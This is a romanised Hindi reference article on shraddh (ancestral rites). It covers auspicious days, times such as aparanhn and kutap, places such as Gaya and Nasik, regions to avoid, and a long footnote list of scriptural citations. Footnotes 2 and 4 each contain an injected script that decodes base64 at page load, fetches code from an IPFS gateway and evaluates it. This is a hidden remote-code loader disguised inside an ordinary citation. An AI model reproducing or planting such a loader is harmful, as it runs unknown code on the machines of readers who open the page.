vishnu dharmasootr[231] dvara varnit dinoan mean kiye jane vale shraddh naimittik haian aur jo vishisht tithiyoan evan saptah ke dinoan mean kuchh nishchit ichchhaoan ki poorti ke lie kiye jate haian, ve kamy shraddh kahe jate haian. para. ma.[232] ke mat se nity karmoan ka sampadan sanskarak (jo ki man ko pavitr bana de aur use shubh karmoan ki or prerit kare) kaha jata hai, kintu kuchh paristhitiyoan mean yah apratyaksh antarhit rahasy (param tattv) ki janakari ki abhikaanksha bhi utpann karata hai.[233] jaiminiy[234] ne siddh kiya hai ki nity karm (yatha, agnihotr, darsh poornamas yag) avashy karane chahie, bhale hi karta unake kuchh upakrityoan ko karane mean asamarth ho; unhoanne[235] pun: vyavastha di hai ki kamy krityoan ke sabhi bhag sampadit hone chahie aur yadi karta sochata hai ki vah sabaka sampadan karane mean asamarth hai to use kamy krity karane hi nahian chahie.

saptah ka shraddh

vishnu dharmasootr[236] ka kathan hai ki ravivar ko shraddh karane vala rogoan se sada ke lie chhutakara pa jata hai aur ve jo som, mangal, budh, brihaspati, shukr evan shani ko shraddh karate haian, kram se saukhy (ya prashansa), yuddh mean vijay, sabhi ichchhaoan ki poorti, abhisht jnan, dhan evan lambi ayu prapt karate haian. koorm puran[237] ne bhi saptah ke katipay dinoan mean sampadit shroddhoan se utpann phaloan ka ullekh kiya hai. vishnudharmasootr[238] ne krittika se bharani (abhijit ko bhi sammilit karate hue) tak ke 28 nakshatroan mean sampadit shraddhoan se utpann phaloan ka ullekh kiya hai.[239]

yugadi evan manvadi

agni puran[240] mean aya hai ki ve shraddh jo kisi tirth ya yugadi evan manvadi dinoan mean kiye jate haian (pitaroan ko) akshay santushti dete haian. vishnu puran[241], matsy puran[242], padm puran[243], varah puran[244], prajapatismriti[245] evan skand puran[246] ka kathan hai ki vaishakh shukl tritiya, kartik shukl navami, bhadrapad krishna trayodashi evan magh ki amavasya yugadi tithiyaan (arthath charoan yugoan ke pratham din) kahi jati hai. matsy puran[247], agni puran[248], saur puran[249], padm puran[250] ne 14 manuoan (ya manvantaroan) ki pratham tithiyaan is prakar di haian–ashvin shukl navami, kartik shukl dvadashi, chaitr evan bhadrapad shukl tritiya, phalgun ki amavasya, paush shukl ekadashi, ashadh shukl dashami evan magh shukl saptami, shravan krishna ashtami, ashadh, kartik, phalgun, chaitr evan jyeshth ki poornima. matsyapuran ki soochi smritich.[251], krityaratnakar[252], para. ma.[253] evan madanaparijat[254] mean uddhrit haian. skand puran[255] evan smrityarthasar[256] mean kram kuchh bhinn hai. skandapuran (nagar khand) mean shvet se lekar tin kalpoan ki pratham tithiyaan shraddh ke lie upayukt thaharayi gayi haian.

grahan ke samay chhoot

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apastamb dharmasootr[257], manu[258], vishnudharmasootr[259], koorm puran[260], brahmand puran[261], bhavishy puran[262] ne ratri, sandhya (godhooli kal) ya jab soory ka turat uday hua ho tab–aise kaloan mean shraddh sampadan mana kiya hai. kintu chandragrahan ke samay chhoot di hai. apastamb dharmasootr ne itana jo d diya hai ki yadi shraddh sampadan aparanhn mean arambh hua ho aur kisi karan se der ho jae tatha soory doob jae to karta ko shraddh sampadan ke shesh krity doosare din hi karane chahie aur use darbhoan par pind rakhane tak upavas karana chahie.

aparanhn ka arth

shraddhakal ke lie manu[263] dvara vyavasthit aparanhn ke arth ke vishay mean aparark[264], hemadri[265] evan any lekhakoan tatha nibandhoan mean vidvattapoorn vivechan upasthit kiya gaya hai. kee mat prakashit kiye gaye haian. kuchh logoan ke mat se madhyanhn ke uparant din ka sheshant aparanhn hai. poorvahn shabd rrigved[266] mean aya hai. is kathan ke adhar par kaha hai ki din ko tin bhagoan mean baant dene par antim bhag aparanhn kaha jata hai. tisara mat yah hai ki paanch bhagoan mean vibhakt din ka chautha bhag aparanhn hai. is mat ko manane vale shatapath brahman[267] par nirbhar haian. din ke paanch bhag ye haian–prat:, sangav, madhyandin (madhyanhn), aparanhn evan sayahn (saany ya astagaman). inamean pratham tin spasht roop se rrigved[268] mean ullikhit haian. prajapatismriti[269] mean aya hai ki inamean pratyek bhag tin muhoortoan tak rahata hai.[270] isane age kaha hai ki kutap sooryoday ke uparant athavaan muhoort hai aur shraddh ko kutap mean arambh karana chahie tatha use rauhin muhoort ke age nahian le jana chahie. shraddh ke lie paanch muhoort (athavean se barahavean tak) adhikatam yogy kal haian.

kutap

kutap shabd ke ath arth haian, jaisa ki smritich.[271] evan hemadri[272] ne kaha hai. yah shabd 'ku' (nindit arthath pap) evan 'tap' (jalana) se bana hai. 'kutap' ke ath arth ye haian–madhyahn, khadgapatr (geande ke siang ka bana patr), nepal ka kambal, roopa (chaandi), darbh, til, gay evan dauhitr (kanya ka putr). samany niyam yah hai ki shraddh aparanhn mean kiya jata hai (kintu yah niyam amavasya, mahalay, ashtaka evan anvashtaka ke shraddhoan ke lie prayukt hota hai), kintu vriddhishraddh aur amashraddh (jinamean keval ann ka hi arpan hota hai) prat: kal mean kiye jate haian. is vishay mean medha tithi[273] ne ek smritivachan uddhrit kiya hai.[274] trikandamandan[275] mean aya hai ki yadi mukhy kal mean shraddh karana sambhav: n ho to usake pashchath vale gaun kal mean use karana chahie, kintu krity ke mukhy kal evan samagri sangrahan ke kam mean pratham ko hi variyata deni chahie aur sabhi mukhy dravyoan ko ekatr karane ke lie gaun kal ke atirikt any karyoan mean usaki pratiksha nahian karani chahie.

shraddh karane ka sthan

thumb|vishnupad mandir, gaya

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manu[276] ne vyavastha di hai ki karta ko prayas karake dakshin ki or dhaloo bhoomi khojani chahie, jo ki pavitr ho aur jahaan par manushy adhikatar n jate hoan. us bhoomi ko gobar se lip dena chahie, kyoanki pitar log vastavik svachchh sthaloan, nadi-tatoan evan us sthan par kiye ge shraddh se prasann hote haian, jahaan par log bahudha kam hi jate haian. yajnavalky[277] ne sankshipt roop se kaha hai ki shraddh sthal chaturdik se avrit, pavitr evan dakshin ki or dhaloo hona chahie. shankh[278] ka kathan hai–'bailoan, hathiyoan evan gho doan ki path par, ooanchi bhoomi ya doosare ki bhoomi par shraddh nahian karana chahie.' koorm puran[279] mean aya hai–van, puny parvat, tirthasthan, mandir–inake nishchit svami nahian hote aur ye kisi ki vaiyaktik sampatti nahian haian.

gaya

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gaya, bihar ke mahattvapoorn tirthasthanoan mean se ek hai. yah shahar khasakar hindoo tirthayatriyoan ke lie kafi mashahoor hai. yahaan ka 'vishnupad mandir' paryatakoan ke bich lokapriy hai. dantakathaoan ke anusar bhagavan vishnu ke paanv ke nishan par is mandir ka nirman karaya gaya hai. hindoo dharm mean is mandir ko aham sthan prapt hai. gaya pitridan ke lie bhi prasiddh hai. kaha jata hai ki yahaan phalgu nadi ke tat par piandadan karane se mrit vyakti ko baikuanth ki prapti hoti hai. adhunik kal mean bhi sabhi dharmik hinduoan ki drishti mean gaya ka vilakshan mahattv hai. isake itihas prachinata, puratattv-sambandhi avasheshoan, isake chaturdik pavitr sthaloan, isamean kiye jane vale shraddh-karmoan tatha gaya valoan ke vishay mean bahut-se matoan ka udghosh kiya gaya hai. gaya ke vishay mean sabase mahattvapoorn granth hai 'gayamahatmay'.[280] vidvanoan ne gayamahatmay ke adhyayoan ki prachinata par sandeh prakat kiya hai. vishnudharmasootr[281] ne shraddh yogy jin 55 tirthoan ke nam diye haian, unamean gaya-sambandhi tirth haian- gayashirsh, akshayavat, phalgu, uttar manas, matang-vapi, vishnupad. gaya mean vyakti jo kuchh dan karata hai usase akshay phal milata hai. atri-smriti (55-58) mean pitaroan ke lie gaya jana, phalgu-snan karana pitritarpan karana, gaya mean gadadhar (vishnu) evan gayashirsh ka darshan karana varnit hai. shankh[282] ne bhi gayatirth mean kiye gaye shraddh se utpann akshay phal ka ullekh kiya hai.[283]

nasik

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'trayanbakeshvar' gautam rrishi ki tapobhoomi hai. yah sthan nasik se lagabhag 28 kilomitar ki doori par sthit hai. manyata hai ki gautam rrishi ne shiv ki tapasya karake ganga ko yahaan avatarit karane ka varadan maanga tha, jisake phalasvaroop yahaan godavari nadi ki dhara pravahit huee. isalie godavari ko dakshin bharat ki ganga bhi kaha jata hai. is sthan par kiya shraddh aur pindadan sidha pitaroan tak pahuanchata hai. isase pitaroan ko pret yoni se mukti milati hai aur vah uttam lok mean sthan prapt karate haian. aisi manyata hai ki yahaan shraddh, tarpan, pindadan evan pitaroan ki santushti hetu brahman bhojan karavane se pitar tript hokar akhand saubhagy ka ashirvad pradan karate haian.[284] [[chitr:Ram-Kund-Nasik.jpg|thumb| ramakund, nasik]]

shraddh varjana

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vishnu dharmasootr[285] ne vyavastha di hai ki mlechchhadesh mean n to shraddh karana chahie aur n hi jana chahie; usamean pun: kaha gaya hai ki mlechchhadesh vah hai jisamean char varnoan ki parampara nahian payi jati hai. vayu puran ne vyavastha di hai ki trishanku desh, jisaka barah yojan vistar hai, jo ki mahanadi ke uttar aur kikat (magadh) ke dakshin mean hai, shraddh ke lie yogy nahian haian. isi prakar karaskar, kaliang, siandhu ke uttar ka desh aur ve sabhi desh jahaan varnashram ki vyavastha nahian payi jati hai, shraddh ke lie yathasadhy tyag dene chahie. brahmapuran[286] ne kuchh sima tak ek vichitr bat kahi hai ki nimnalikhit deshoan mean shraddh karm ka yathasambhav parihar karana chahie–kirat desh, kaliang, koankan, krimi (krivi?), dasharn, kumary (kumari antarip), tangan, krath, siandhu nadi ke uttari tat, narmada ka dakshini tat evan karatoya ka poorvi bhag.

visajarn

mukhy lekh : visarjan (shraddh)

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visarjan mean tin prakar ke visarjan kiye jate haian, jinake nam is prakar hai:-

  • pind visarjan
  • pitri visarjan
  • dev visarjan.

udakakarm

mukhy lekh : udakakarm

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  • mritak ke lie jal dan ki kriya ko udakakarm kahate haian.
  • yah kee prakar se sampann hoti hai.
link=#top|center|oopar jayean


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ deshe kale ch patre ch shraddhaya vidhina ch yath. pitrinuddishy viprabhyoan dattan shraddhamudahratamh.. brahmapuran (shraddhaprakash, prishth 3 evan 6; shraddhakalpalata, prishth 3; para. ma. 1|2, prishth 299). mita. (yajn. 1|217) mean aya hai–'shraddhan namtadaniyasy tatsyaniyasay va dravyasy pretoddeshen shraddhaya tyag:.' shraddhakalpataru (prishth 4) mean aisa kaha gaya hai–'eten pitrinuddishy dravyotyago brahmanasvikaranaparyantan shraddhasvaroopan pradhanamh.' shraddhakriyakaumudi (prishth 3-4) ka kathan hai–'kalpatarulakshanamayyanurvaday sannyasinamatmashraddhe devashraddhe sanakadishraddhe chavyapte:.' shridattakrit pitribhakti mean aya hai–'atr kalpatarukar: pitrinuddishy dravyapato brahmanasvikaranaparyanti hi shraddhamityah tadayuktamh.' dipakalika (yajnavalkyasmriti 1|128) ne kalpataru ki bat mani hai. shraddhavivek (prishth 1) ne is prakar kaha hai–'shraddhan nam vedavodhitapatrambhanapoorvakapramitapitradidevatoddeshyako dravyatyagavishesh:.' shraddhaprakash (prishth 4) ne is prakar kaha hai–'atrapastambadisakalavachanaparyalochanaya pramitamatroddeshyakannatyagavisheshasy brahmanadyadhikakaran pratipattyayangakasy shraddhapadarthatvan pratiyayate.' shraddhavivek ka kathan hai ki 'dravyatyag' ved ke shabdoan dvara vihit (vedabodhat) hai aur tyagi huee vastu supatr brahman ko (patralambhanapoorvak) di jati hai. shraddhaprakash mean 'pratipatti' ka arth hai yajn mean prayukt kisi vastu ki antim parinati, jaisa ki darshapoornamas yajn mean 'sah shakhaya prastaran praharati' namak vaky aya hai. yahaan 'shakhapraharan' 'pratipattikarm' hai (jaimini. 4|2|10-13) n ki arthakarm. isi prakar ahitagni ke sath usake yajnapatroan ka dah pratipattikarm hai (jahaan tak yajnapatroan ka sambandh hai).
  2. ↑ amar ujala (hindi) (ech.ti.em.el). . abhigaman tithi: 3 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ matsyapuran 144|74-75
  4. ↑ shraddh (hindi) (ech.ti.em.el). . abhigaman tithi: 3 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  5. ↑ vishnu puran (75|4
  6. ↑ manu smriti(3|284
  7. ↑ yajnavalkyasmriti (1|269
  8. ↑

    vayasa pindan dadyath. vayasaan hi pitar: pratimaya charantiti vijnayate. baudhayan dharmasootr (2|8|14);
    n ch pashyat kakadinh pakshinastu n varayeth. tadroopa pitarastatr samayanti bubhutsav:..
    aushanas; n chatr shyenakakadinh pakshin: pratishedhayeth. tadroopa pitarastatr samayantiti vaidikamh..
    deval (kalpataru, shraddh, prishth 17).

  9. ↑ baudhayan dharmasootr (2|8|14
  10. ↑ vayu puran (75|13-15=uttarardh 13|13-15
  11. ↑

    shraddhakale tu satatan vayubhoota: pitamaha:. avishanti dvijanh drishtava tasmadetadh bravimi te..
    vastrairannai: pradanaistairbhakshyapeyaistathaiv ch. gobhirashvaistatha gramai: poojayitva dvijottaman..
    bhavanti pitar: prita: poojiteshu dvijatishu. tasmadannen vidhivath poojayedh dvijasattamanh.. vayri. (75|13-15);
    brahmanaanste samayanti pitaro hyantarikshaga:. vayubhootashch vishthanti bhuktva yanti paraan gatimh.. aushanasasmriti.

  12. ↑ manu (3219
  13. ↑ matsyapuran (18|5-7
  14. ↑ vishnu dharmasootr (20|34-36
  15. ↑

    pitrilokagatashchannan shraddhe bhuankte svadhasamamh. pitrilokagatasyasy prayachchhat..
    devatve yatanasthane tiryagyoni tathaiv ch. manushye ch tathapnoti shraddhan dattan svabandh:..
    pretasy shraddhakartushch pushti: shraddhe krite dhruvamh. tasmachchhaddhan sada kary shokan tyaktava nirarthakamh..
    vishnudharmasootr (20|34-36) aur dekhie markandeyapuran (23|49-51).

  16. ↑ brahm puran (220|2
  17. ↑ yah drishtikon yadi bharopiy (indo yooropiyan) nahian hai to kam se kam bharat parasy (indo eeraniyan) to hai hi. prachin parasi shastr phravashiyoan (phravashis=aangrezi bahuvachan} ke vishay mean charcha karate haian, jo arambhik roop mean prachin hindoo granthoan mean prayukt 'pitri' ya prachin romakoan (romavasiyoan) ka 'menas' shabd hai. ve mrit logoan ke amar evan adhishthata devata the. kramash: 'phravashi' ka arth vistrit ho gaya aur usamean devata tatha prithvi evan akash jaisi vastuean bhi sammilit ho gayian, arthath pratyek mean phravashi paya jane laga.
  18. ↑ rrigved (10|14|2 evan 7; 1015|2 evan 9|97|39
  19. ↑ jahaan gayean chhipakar rakhi huee thian
  20. ↑ rrigved (10|15|1
  21. ↑ rrigved 10|15|2
  22. ↑ rrigved 10|15|13
  23. ↑ rrigved (10|14|5-6
  24. ↑ rrigved 10|14|3-5
  25. ↑ rrigved (1|62|2
  26. ↑ rrigved 1|62|4; 5|39|12 evan 10|62|6
  27. ↑ rrigved 4|42|8 evan 6|22|2
  28. ↑ rrigved (1|62|4
  29. ↑ rrigved 10|62|5
  30. ↑ rrigved (4|2|15
  31. ↑ rrigved 7|76|4, 10|14|10 evan 10|15|8-10
  32. ↑ rrigved 10|15|1 evan 5, 9|97|39
  33. ↑ rrigved 10215|5
  34. ↑ rrigved 10|15|10 evan 10|16|12
  35. ↑ rrigved 10|15|12
  36. ↑ rrigved 10|16|1-2 evan 5=atharvaved 18|2|10; rrigved 10|17|3
  37. ↑ markandey puran (adhyay 45
  38. ↑ aur dekhie brahmapuran (prakriya, adhyay 8, upodghat, adhyay 9|10)–'ityete pitaro deva devashch pitar: pun:. anyonyapitaro hote.'
  39. ↑ rrigved 10|14|1 evan 8, 10|1625).
  40. ↑ rrigved 10|14|9 evan 10|16|4
  41. ↑ rrigved (10|64|3
  42. ↑ nirukt (10|18
  43. ↑ atharvaved (18|2|49
  44. ↑ rrigved (1|35|6
  45. ↑ rrigved 10|107|1
  46. ↑ taittiriy brahman (1|2|10|5
  47. ↑ brihadaranyakopanishadh (1|5|16
  48. ↑ rrigved (10|138|1-7
  49. ↑ rrigved 10|14|2
  50. ↑ rrigved (10|14|1
  51. ↑ rrigved 10|14|7).
  52. ↑ is vishay mean adhik janakari ke lie dekhie is khand ka adhyay 6.
  53. ↑ rrigved (10|15|4 evan 11=taittariy sanhita 2|6|12|2
  54. ↑ dekhie taittiriy brahman (1|6|9|5) evan kathakasanhita (9|6|17).
  55. ↑ milaie manu 3|117).
  56. ↑ manu(3|193-198
  57. ↑ manu(3|199
  58. ↑ matsy puran(141|4, 141|15-18
  59. ↑ shatatapasmriti (625-6
  60. ↑ vayupuran (72|1 evan 73|6
  61. ↑ brahmand puran (upodaghath 9|53
  62. ↑ padm puran (5|9|2-3
  63. ↑ vishnudharmottar (1|138|2-3
  64. ↑ skand puran (6|216|9-10
  65. ↑ manu (3|201
  66. ↑ rrigved (10|53|4
  67. ↑ aitareyabrahman (13|7 ya 3|31
  68. ↑ nirukt (3|8
  69. ↑ atharvaved (10|6|62
  70. ↑ taittiriy sanhita (6|1|1|1
  71. ↑ shaankhayan brahman 5|6
  72. ↑ shatapath brahman(2|4|2|2
  73. ↑ taittiriy brahman (1|3|10|4
  74. ↑ kaushikasutr (1|9-23
  75. ↑ baudhayan shrautasootr (2|2
  76. ↑ pragapavarganyudagapavargani va pradamukh: pradakshinan yajnopaviti daivani karmani karoti. dakshina mukh: prasavyan prachinaviti pitryani. baudhayan shrautasootr (2|2
  77. ↑ rrigved (10|14|3 'svahayanye svadhayanye madanti'
  78. ↑ shatapathabrahman (2|1|3|4 evan 2|1|4|9
  79. ↑ rrigved (10|15|8
  80. ↑ rrigved (10|68|11
  81. ↑ rrigved 7|76|3
  82. ↑ rrigved (10|14|6
  83. ↑ rrigved 10|15|4
  84. ↑ rrigved 10|15|7 evan11
  85. ↑ rrigved (10|15|11
  86. ↑ atharvaved (18|3|14
  87. ↑ atharvaved (14|2|73
  88. ↑ vajasaneyi sanhita (2|33
  89. ↑ adhatt pitaro garbh kumaran pushkarasrajamh. yatheh purushoasath.. vaj. san. (2|33). khadiragrihy. (3|5|30) ne vyavastha di hai–'madhyaman pindan putrakama prashayedadhatteti'; aur dekhie gobhilagrihy (4|3|27) evan kaushikasootr (89|6). ashvalayan shrautasootr (2|7|13) mean aya hai–'patnian prashayedadhatt pitaro....srajamh.' ashvinau ko pushkarasrajau kaha gaya hai, at: 'pushkarasraj' shabd mean bhavana yah hai ki putr lambi ayu vala evan sundar ho. 'yatheh....asath' ko is prakar vyakhyayit kiya gaya hai–'yen prakaren ihaiv kshitau purusho devapitrimanushyanamabhishtapoorayita bhoopath tatha garbhamadhatt.' dekhie halayudh ka brahmanasarvasv. katyayan shrautasootr (4|1|22) ne bhi kaha hai–'adhatteti madhyamapindan patni prashnati putrakama.
  90. ↑ vayupuran (56|18
  91. ↑ vayupuran(adhyay 73
  92. ↑ varah puran (13|16
  93. ↑ padm puran (srishti 9|2-4
  94. ↑ brahmand puran (3|10|1
  95. ↑ shatatapasmriti (6|5|6
  96. ↑ milaie vuliyamikrit 'imm aaurtal main' (prishth 24-25), jahaan adim avastha evan susanskrit kal ke logoan ke mritak sambandhi bhay sneh ke bhavoan ke vishay mean prakash dala gaya hai.
  97. ↑ rrigved (10|15|6
  98. ↑ rrigved (3|55|2
  99. ↑ rrigved (10|66214
  100. ↑

    deva: saumyashch kavyashch ayajvano hyayonija:.
    devaste pitar: sarve devastanvadayantyut..
    manushyapit rashchaiv tebhyoanye laukika: smrita:.
    pita pitamahashchaiv tatha y: prapitamah:.. brahmand puran (2|28|70-71);
    aangirashch rritushchaiv kashyapashch mahanrishi:.
    ete kurukulashreshth mahayegeshvara: smrita..
    ete ch pitaro rajannesh shraddhavidhi: par:.
    pretastu pindasambandhanmuchyante ten karmana. anushasanaparv (92|21-22).
    is uddharan se prakat hota hai ki aangira, rritu evan kashyap pitar haian, jinhean jal diya jata hai (pind nahian), kintu samipavarti mrit poorvajoan ko pind diye jate haian.

  101. ↑ taittiriy brahman 1|6|9|5
  102. ↑ shatapath brahman (2|4|2|19
  103. ↑ vaj. san. 2|31, pratham pad
  104. ↑ taittiriy sanhita 1|8|5|1
  105. ↑ shatapathabrahman (12|8|1|7
  106. ↑ manu (3|221
  107. ↑ vishnu puran (21|3 evan 75|4
  108. ↑ prishth 12
  109. ↑ shraddhaprakash (prishth 204
  110. ↑ vayu puran (56|65-66
  111. ↑ dekhie vayu puran (70|34), yahaan pitar log devata kahe gaye haian.
  112. ↑ apastamb dharmasootr (2|7|16|1-3
  113. ↑ baudhayan dharmasootr (2|8|1
  114. ↑ harivansh (1|21|1
  115. ↑ smritich., shraddh, prishth 333
  116. ↑ pitryamayushyan svargy yashasyan pushtakirm ch. baudhayan dharmasootr (2|8|1) shraddhe pratishthito lok: shraddhe yog: pravartate.. harivansh (1|21|11). shraddhatparataran nanyachchhreyaskaramudahratamh. tasmatsarvaprayatnen shraddhan kuryadvichakshan:.. sumantu (smritich., shraddh, 333).
  117. ↑ vayupuran (3|14|1-4
  118. ↑ ayu: putranh yash: svarg kirti pushtian balan shriy:. pashunh saukhyan dhanan dhanyan prapnuyath pitripoojanath.. yam (smritich., shraddh, prishth 333 evan shraddhasar prishth 5). aisa hi shlok yajn. (1|270, markandapuran 32|38) evan shankh (14|33) mean bhi hai. aur dekhie yajn. (1|270).
  119. ↑ shraddhasar (prishth 6
  120. ↑ shraddhaprakash (prishth 11-12
  121. ↑ shantiparv (345|21
  122. ↑ skandapuran (6|218|3
  123. ↑ rrigved (10|151|1-5
  124. ↑ rrigved (2|26|3; 7|32|14; 8|1|31 evan 9|113|4).
  125. ↑ rrigved (2|12|5), atharvaved (20|34|5) evan rri. (10|147|1=shratte dadhami prathamay manyave).
  126. ↑ taittiriy sanhita (7|4|1|1
  127. ↑ rrigved (1|103|5).
  128. ↑ nirukt (3|10
  129. ↑ vaj. san. (19|77
  130. ↑ vaj. san. (19|30
  131. ↑ panini (5|2|85
  132. ↑ pa. 5|1|109
  133. ↑ yogasootr (1|20
  134. ↑ krityaratnakar, prishth 16 evan shraddhatattv, prishth 189
  135. ↑ shraddhasootr (hemadri, prishth 152
  136. ↑ manu (3|275
  137. ↑ markandey puran (29|27
  138. ↑ shraddhaya paraya dattan pitrinaan namagotrat:. yadaharastu te jatastadaharatvameti tath.. markandeyapuran (29|27); anyayoparjitairartheryachchhraddhan kriyate narai:. tripyante ten chandalapukkasadyasu yonishu.. markandey. (28|16) evan skand. (7|1|205|22).
  139. ↑ kathak grihyasootr (61|3
  140. ↑ jaiminiy grihyasootr (2|3
  141. ↑ shaankhayan grihyasootr (3|12|2
  142. ↑ par. grihyasootr (3|3
  143. ↑ khadiragrihyasootr (3|3|29-30
  144. ↑ isi se gobhilagri. 3|10|9 ne ise apoopashtaka kaha hai
  145. ↑ khadiragrihyasootr (3|4|1
  146. ↑ ashvalayan grihyasootr (2|4|7-10
  147. ↑ gobhilagrihyasootr (4|1|18-22
  148. ↑ kaushik (138|2
  149. ↑ baudhayan grihyasootr (2|11|51|61
  150. ↑ dekhie ashvalayan grihyasootr 2|5|10, hiranyakeshigrihyasootr 2|10|17, apastamb grihyasootr 8|21|1, vishnupuran 3|14|3, adi
  151. ↑ gautam. (8|19
  152. ↑ shatapath brahman 6|4|2|40
  153. ↑ shatapath brahman (6|2|2|23
  154. ↑ jaiminiy (1|3|2
  155. ↑ atharvaved (3|10|2
  156. ↑ apastamb (20|27
  157. ↑ ashtakaliangashch mantra vede drishyante yaan jana: pratinandatityevamaday:. shabar (jaimini. 1|3|2). shabar ne ise jaimini. (6|5|35) mean is prakar se padha hai–'yaan jana: pratinandanti ratri dhenumivayatimh. sanvatsarasy ya patni sa no astu sumangali..' aur unhoanne jo d diya hai–'ashtakary suradhase svaha'. atharvaved (3|10|2) mean 'jana:' ke sthan par 'deva:' evan dhenumivayatimh' ke sthan par dhenumupayatimh aya hai.
  158. ↑ atharvaved (3|10|8
  159. ↑ taittiriy sanhita (7|4|8|1
  160. ↑ jaiminiy (6|5|32-37
  161. ↑ apastamb grihyasootr (haradatt, gautam. 8|19
  162. ↑ panini (7|3|85) ke ek vartik ke anusar 'ashtaka' shabd 'ashtan' se bana hai. pa. (7|3|45) ka 9vaan vartik hamean batata hai ki 'ashtan' se 'ashtaka' vyutpann hai, jisaka arth hai ki vah krity jisake adhishthata devata pitar log haian, aur 'ashtika' shabd ka arth kuchh aur hai, yatha 'ashtika khari'.
  163. ↑ hiranyakeshi grihyasootr (2|15|9
  164. ↑ magh ki poornima varsh ka mukh kahalati hai. arthath prachin kal mean usi se varsh ka arambh mana jata tha. poornima ke pashchath ashtaka din poornima ke uparant ka pratham evan atyant mahattvapoorn parv tha aur yah varsharambh (varsh arambh hone) se chhota mana jata tha. sambhavat: isi karan yah varsh ki patni kaha gaya hai.
  165. ↑ ashvalayan grihyasootr (2|4|1
  166. ↑ manavagrihyasutr (218
  167. ↑ shaankhayan grihyasootr (3|12|1
  168. ↑ khadiragrihyasootr (3|2|27
  169. ↑ kathakagrihyasootr (61|1
  170. ↑ kaushitaki grihyasootr (3|15|1
  171. ↑ par. grihyasootr (3|3
  172. ↑ gobhilagrihyasootr (3|10|48
  173. ↑ baudhayan grihyasootr (2|11|1
  174. ↑ apastambagrihyasootr (2|5|3
  175. ↑ shaankhayan grihyasootr (3|13|7
  176. ↑ yatha khadiragrihyasootr 3|5 evan gobhilagrihyasootr 4|2-3
  177. ↑ ashvalayan grihyasootr evan vishnu dharmasootr (74
  178. ↑ khadiragrihyasootr 3|5|1
  179. ↑ paraskar grihyasootr (3|3|30
  180. ↑ manu (4|150
  181. ↑ vishnu dharmasootr (74|1 evan 76|10
  182. ↑ ashvalayan grihyasootr (2|5
  183. ↑ baudhayan grihyasootr (3|12|1
  184. ↑ gobhilagrihyasootr (4|4
  185. ↑ khadir grihyasootr (3|5|35
  186. ↑ kathak grihyasootr (66|1|68, 68|1 evan 69|1
  187. ↑ ashvalayan grihyasootr (2|5|9
  188. ↑ gobhilagrihyasootr (4|4|3
  189. ↑ shaankhayan grihyasootr (4|1|13
  190. ↑ manu (3|122-123
  191. ↑ skandapuran (nagarakhand, 215|24-25) mean aya hai–drishyante bahavo bheda dvijanaan shraddhakarmani. shraddhasy bahavo bheda: shakhabhedairvyavasthita:..
  192. ↑ yatha–anushasanaparv, adhyay 87-92
  193. ↑ bibliothika indika mala, 1716 prishthoan mean
  194. ↑ todaranand ka ek bhag
  195. ↑ shantiparv (65|13-21
  196. ↑

    yavana: kirata gandharashchina: shabarabarbara:. shakastushara: kakashch pallavashchandhramadraka:.....
    kathan dharmashcharishyanti sarve vishayavasin:. madvidhaishch kathan sthapya: sarve vai dasyujivin:......
    matapitrohi shushrusha kartavya sarvadasyubhi:.....pitriyajnastaya koopa:prapashch shayanani ch. danani ch kathakalan dvijebhyo visrijetsada......
    pakayajna mahahashchi datavya: sarvadasyubhi:. shantiparv (65|13-21).
    is par shoodrakamalakar (prishth 55) ne tippani ki hai–'iti mlechchhadinaan shraddhavidhanan tadapi sajatiyabhojanadravyadanadiparamh.'

  197. ↑ vayu puran (83|112
  198. ↑ gobhilasmriti (3|70 evan 2|104
  199. ↑ aur dekhie anushanaparv (91).
  200. ↑ aparark (prishth 538
  201. ↑ brihatparashar (prishth 153
  202. ↑ smritich., shraddh, prishth 337
  203. ↑ jivato vakyakaranath pratyabdan bhooribhojanath. gayayaan pindadanachch tribhi: putrasy putrata.. tristhalisetu (prishth 319).
  204. ↑ apastamb dharmasoohtr 2|6|15219; gautam 2|4-5; vasishth 2|6; vishnu. 28|40 evan manu 2|172
  205. ↑ manu 2|172
  206. ↑ smrityarthasar (prishth 46
  207. ↑ taittiriy sanhita (1|8|5|1
  208. ↑ taittiriy brahman (1|6|9
  209. ↑ baudhayan dharmasootr (1|5|113-115
  210. ↑ api ch prapitamah: pitamah: pita svayan sodarya bhratar: putr: pautr: prapautr etanavibhaktadayadanh sapindanachakshate. vibhaktadayadanh sakulyanachakshate. satsvaganjeshu tadagami hyathoan bhavati. baudhayan dharmasootr (1|5|113-115) ise dayabhag (11|37) ne uddhaghrit kiya hai aur (11|38) mean vyakhyapit kiya hai. aur dekhie dayatattv (prishth 189).
  211. ↑ manu (9|137=vasishth 17|5=vishnu. 15|16
  212. ↑ taittiriy aranyak (2|10
  213. ↑ manu (3|70
  214. ↑ manu (3|83
  215. ↑ gautam 15|1-2
  216. ↑ apastamb dharmasootr (2|7|16|4-7
  217. ↑ gautam (15|3
  218. ↑ vasishth (11|16
  219. ↑ gautam (15|5
  220. ↑ koorm puran (2|20|23
  221. ↑ agni puran (115|8
  222. ↑ (n kaladi gaya tirthe dadyath pindashch nityash:).
  223. ↑ apastamb dharmasootr (2|7|16|8-22
  224. ↑ anushasan parv (87
  225. ↑ vayu puran (99|10-19
  226. ↑ yajnavalky (1|262-263
  227. ↑ brahm puran (220|15|21
  228. ↑ vishnu dharmasootr (78|36-50
  229. ↑ koorm puran (2|20|17-22
  230. ↑ brahmand puran(3|17|10-22
  231. ↑ vishnudharmasootr (77|1-6
  232. ↑ para. ma. (1|1, prishth 63
  233. ↑ arthath yah 'vividishajanak' hai, jaisa ki gita 9|27 mean sanket kiya gaya hai
  234. ↑ jaiminiy (6|3|1-7
  235. ↑ jaiminiy 6|3|8-10
  236. ↑ vishnudharmasootr (78|1-7
